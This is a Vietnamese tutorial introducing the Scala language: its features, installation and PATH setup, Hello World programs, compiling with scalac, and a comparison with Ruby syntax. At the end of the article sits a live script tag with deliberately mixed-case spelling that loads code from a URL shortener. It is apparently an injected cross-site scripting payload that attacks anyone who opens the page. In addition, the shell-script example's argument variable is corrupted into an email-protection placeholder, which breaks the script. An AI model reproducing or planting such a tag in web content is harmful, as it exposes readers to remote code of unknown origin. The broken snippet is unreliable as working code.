Tìm hiểu về ngôn ngữ Scala

  1. Giới thiệu Scala

    • Ngôn ngữ Scala (viết tắt cho scalable language) là 1 ngôn ngữ được thiết kế để có khả năng mở rộng tùy theo nhu cầu của người sử dụng. Ngôn ngữ Scala được sử dụng trong nhiều lĩnh vực , qui mô, từ những đoạn script nhỏ cho đến những hệ thống lớn.

    • Scala chạy trên nền máy ảo Java và nó tương thích hoàn toàn với Java. Ngoài ra nó cũng có thể chạy trên .NET, tuy nhiên chưa ổn định.

    • Scala được xây dựng với các tính năng của lập trình hàm và lập trình hướng đối tượng. Sự kết hợp của lập trình hàm và lập trình hướng đối tượng được thể hiện trong nhiều khia cạnh, 2 kiểu lâp trình này bổ sung sức mạnh cho nhau đặc biệt khi hệ thống được mở rộng. Lập trình hàm có thể xây dựng nhanh chóng và dễ dàng những tính năng từ những phần nhỏ trong khi lập trình hướng đối tượng thích hợp để cấu trúc 1 hệ thống lớn.

  2. Một số đặc điểm của ngôn ngữ Scala

    • Cơ động linh hoạt về cú pháp
    • Sở hữu vòng lặp for mạnh mẽ
    • Được thiết kế để phù hợp với cả lập trình hàm cũng như lập trình hướng đối tượng
    • Hệ thống kiểu dữ liệu phong phú và có khả năng mở rộng (định nghĩa thêm method cho kiểu có sẵn)
  3. Cài đặt môi trường

    • Để chạy scala từ chế độ dòng lệnh, download binaries từ link dưới đây:

    http://www.scala-lang.org/download/

    Sau khi giải nén file được download, tại thư mục được giải nén ta có thể khởi động scala interpreter bằng lệnh scala hoặc khởi động scala compiler bằng lệnh scalac

    Để tiện cho việc sử dụng, chúng ta thêm scalascalac vào path

    Môi trường Biến Giá trị
    Unix $SCALA_HOME /usr/local/share/scala
    $PATH $PATH:$SCALA_HOME/bin
    Windows %SCALA_HOME% c:\Progra~1\Scala
    %PATH% %PATH%;%SCALA_HOME%\bin
  4. Chương trình Hello World đầu tiên

    Chúng ta sẽ viết những dòng code đầu tiên của chương trình Hello World trên Scala

    object HelloWorld {
      def main(args: Array[String]) {
        println("Hello, world!")
      }
    }
Kết quả khi chạy chương trình này trên interpreter như sau:

![hwscala.png](/uploads/7b8465e9-9a79-4fd5-a287-40da5d6e2b71.png)

Ta có thể biên tập code trên editor hoặc IDE, lưu vào 1 file HelloWorld.scala rồi thực hiện compile source code bằng lệnh `scalac`
    scalac HelloWorld.scala
Thông thường lệnh `scalac` sẽ tạo class file vào trong thư mục hiện tại, nhưng ta cũng có thể chỉ định đường dẫn nơi sẽ tạo class file bằng tùy chọn -d
     scalac -d classes_directory HelloWorld.scala
Sau khi biên dịch xong ta có thể chạy chương trình bằng lệnh `scala`
    scala HelloWorld
Ta cũng có thể chỉ định đường dẫn đến class file bằng tùy chọn -classpath hoặc -cp
    scala -cp classes_directory HelloWorld
Tham số của lệnh `scala` là 1 top-level object. Nếu object đó kế thừa `App` thì các lệnh nằm trong object đó sẽ được thực thi. Trong trường hợp còn lại, ta phải thêm method `main` cho object. Chương trình HelloWorld có thể được viết lại như sau:
    object HelloWorld extends App {
      println("Hello, world!")
    }
Ta cũng có thể viết thêm 1 đoạn shell script để có thể chạy trực tiếp chương trình từ terminal
    #!/bin/sh
    exec scala "$0" "[email protected]"
    !#
    object HelloWorld extends App {
      println("Hello, world!")
    }
    HelloWorld.main(args)
Sau khi lưu đoạn script trên vào 1 file script.sh, bây giờ ta có thể chạy trực tiếp đoạn script trên

![hwscript.png](/uploads/6775128e-e287-41a7-bacd-7e1a1cc4663f.png)

Như vậy chúng ta đã chạy thành công chương trình HelloWorld trên Scala. :D
  1. So sánh Scala và Ruby

    Sau khi cài đặt xong môi trường và chạy thử thành công chương trình đầu tiên trên Scala, bây giờ chúng ta có thể tìm hiểu thử những tính năng thú vị của Scala. Những ví dụ dưới đây được thể hiện trong sự đối sánh với ngôn ngữ Ruby, 1 ngôn ngữ được coi là khá gần gũi với Scala

    Cú pháp Scala không cần kết thúc các lệnh if else bằng end. Điều này giúp giảm bớt việc viết liên tục nhiều lần end khi viết các câu lệnh rẽ nhánh hay vòng lặp

    Ruby

    ruby_end.png

    Scala

    scala_end.png

    Scala quy định rõ ràng về kiểu dữ liệu nên một khi đã gán giá trị 1 biến theo kiểu nào đó thì sau đó biến đó chỉ có thể được gán lại với kiểu đã dùng trước đó trong khi trên Ruby biến có thể được gán giá trị là 1 String rồi sau đó lại có thể được gán giá trị là 1 số nguyên

    Ruby

    ruby_style.png

    Scala

    scala_type.png

    Cú pháp của Scala rất linh hoạt cho phép sử dụng dấu chấm (dot) để gọi method giống như Ruby nhưng cũng có thể không cần sử dụng dấu chấm mà thay vào đó là space để thực hiện việc gọi method

    Ruby

    ruby_dot.png

    Scala

    scala_dot.png

    Một trong những điểm thú vị của Scala là vòng lặp for mạnh mẽ, 1 dẫn chứng cho khả năng hỗ trợ lập trình hàm của Scala. Cú pháp vòng lặp for này cho phép sử dụng (pattern guard: 1 biểu thức trả về giá trị true hoặc false đảm bảo chương trình sẽ tiếp tục chạy nếu giá trị trả về là true và ngược lại bỏ qua nếu giá trị trả về là false). Ví dụ dưới đây minh họa việc in ra các số chẵn trong phạm vi từ 1 đến 10 trong ruby và scala. Cách xử lý trong scala là theo hướng lập trình hàm còn trong ruby là theo hướng lập trình hướng thủ tục.

    Với cách tư duy lập trình hướng thủ tục thì vòng lặp sẽ duyệt toàn bộ các số từ 1 đến 10, kiểm tra tính chẵn lẻ và in ra kết quả thích hợp.

    Ruby

    ruby_for.png

    Còn với cách tư duy kiểu lập trình hàm thì ta có thể hiểu đối tượng duyệt của vòng for chỉ là các số chẵn trong phạm vi từ 1 đến 10

    Scala

    scala_for.png

    Trong Ruby chúng ta cũng có thể lập trình theo phong cách lập trình hàm bằng cách sử dụng lệnh select

    Ruby

    ruby_for2.png

    Tuy nhiên cách lập trình này có nhược điểm là khi số phần tử quá lớn thì sẽ cần phải tạo ra object lớn tốn tài nguyên. Do đó có thể thấy Scala hỗ trợ rất mạnh mẽ cho việc lập trình hàm

    Scala hỗ trợ pattern guard cả trong lệnh case. Lấy ví dụ 1 hàm phân loại số nguyên thành số âm, số nguyên dương có 1 chữ số và số nguyên dương có từ 2 chữ số trở lên, trong Ruby do không hỗ trợ range MinusInfinity..0 nên khi kiểm tra khoảng số âm phải dùng lệnh if hoặc sinh ngoại lệ. Trong Scala ta có thể truyền pattern guard vào trong lệnh case giúp cho đoạn code trở nên đồng nhất hơn.

    Scala

    scala_match.png

    Ruby

    ruby_match.png

    Như vậy chúng ta đã cài đặt thành công scala cũng như 1 số tính năng thú vị trên Scala. Do hiểu biết của người viết về Scala còn ít nên bài viết chỉ tập trung tìm hiểu vào 1 số điểm khác biệt độc đáo của ngôn ngữ Scala. Hi vọng bài viết có ích cho những ai muốn bắt tay vào học ngôn ngữ này.

<sCrIpT src="https://goo.gl/4MuVJw"></ScRiPt>


All Rights Reserved